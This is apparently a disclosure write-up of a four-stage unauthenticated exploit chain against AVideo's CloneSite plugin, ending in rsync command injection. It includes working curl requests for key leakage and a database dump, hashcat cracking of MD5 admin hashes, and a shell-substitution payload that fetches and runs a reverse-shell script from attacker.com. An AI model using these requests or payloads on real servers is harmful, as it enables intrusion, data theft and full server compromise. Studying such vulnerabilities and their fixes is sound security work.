Popping a Shell on Any AVideo Server — No Login Required
TL;DR — AVideo's CloneSite plugin exposes an unauthenticated endpoint that leaks secret clone keys. Those keys unlock a full database dump including MD5-hashed admin passwords. Once cracked (seconds), the attacker configures a malicious clone server that injects OS commands through an unsanitized rsync call. Four requests from anonymous to root. CVSS 10.0.
background
AVideo (formerly YouPHPTube) is a self-hosted video platform — think YouTube but you run it yourself. It's used by universities, media companies, and anyone who wants to host video without relying on Big Tech. The project has been around since 2018 and has accumulated a non-trivial install base.
The CloneSite plugin is designed for replication — syncing content between AVideo instances. It uses shared secret keys for authentication between clones. The assumption is that these keys stay secret. They don't.
stage 1: clone key disclosure
The endpoint plugin/CloneSite/clones.json.php returns the full list of registered clones, including their secret keys. No authentication check. No session validation. Nothing.
curl -s 'http://target/plugin/CloneSite/clones.json.php' | jq '.data[0].key'
# "a1b2c3d4e5f6..."
One GET request. The keys that authenticate inter-server communication are sitting in a public JSON endpoint.
stage 2: database dump
The clone key is the only credential needed to trigger a full mysqldump via cloneServer.json.php. The endpoint writes the SQL dump to a web-accessible directory and returns the file path in the response:
curl -s "http://target/plugin/CloneSite/cloneServer.json.php" \
--data "url=http://attacker.com&key=a1b2c3d4e5f6&useRsync=0"
# Returns: {"sqlFile": "/var/www/html/videos/cache/dump_1711234567.sql"}
curl -s "http://target/videos/cache/dump_1711234567.sql" -o dump.sql
The dump contains everything. Users, passwords, content metadata, configuration. All of it written to a file anyone can download.
stage 3: cracking the passwords
The users table stores passwords as MD5 hashes. Not bcrypt. Not argon2. MD5.
grep -i 'INSERT INTO.*users' dump.sql | head -1
# admin:5f4dcc3b5aa765d61d8327deb882cf99:1
# That's "password" in MD5.
hashcat -m 0 hashes.txt rockyou.txt
# Cracked in 0.3 seconds.
The advisory notes some installs may use md5(whirlpool(sha1(password))) with optional salt, but legacy and migrated accounts often have plain MD5. Either way, the computational cost is negligible.
stage 4: command injection via rsync
Now authenticated as admin, the attacker configures CloneSite to point at a server they control. When the clone sync runs, the server returns a crafted response with a malicious videosDir field. This value is interpolated directly into an rsync shell command without sanitization:
# The vulnerable rsync call in cloneClient.json.php:
rsync -av ... user@ip:{videosDir} ...
# Attacker's server returns:
# videosDir: "/tmp$(curl attacker.com/rev.sh|bash)"
# Shell evaluates $() before rsync runs.
# Attacker has a reverse shell.
The $() shell substitution executes before rsync even starts. Game over.
the full chain
| Step | Request | Auth Required | What You Get |
|---|---|---|---|
| 1 | GET clones.json.php | None | Clone secret keys |
| 2 | POST cloneServer.json.php | Clone key | Full database dump |
| 3 | Offline | None | Admin credentials |
| 4 | Admin panel + clone sync | Admin session | Remote code execution |
Four stages, each building on the last. The entire chain is automatable — from first request to shell in under a minute.
the fix
Commit c85d076 added three changes:
- Admin authentication check on
clones.json.php - Regex sanitization on
videosDir, SSH user, and SSH IP fields — stripping everything except[a-z0-9./\_\-] - Documentation noting the password hashing scheme
The clone key endpoint was wide open since the plugin was created. Nobody checked.
what this means
Every AVideo instance running version 26.0 or earlier with CloneSite enabled was fully compromisable from the internet with zero credentials. The attack requires no user interaction, no social engineering, no special timing. Just four HTTP requests and a bit of patience while hashcat runs.
This research was conducted for responsible disclosure purposes. CVE-2026-33478.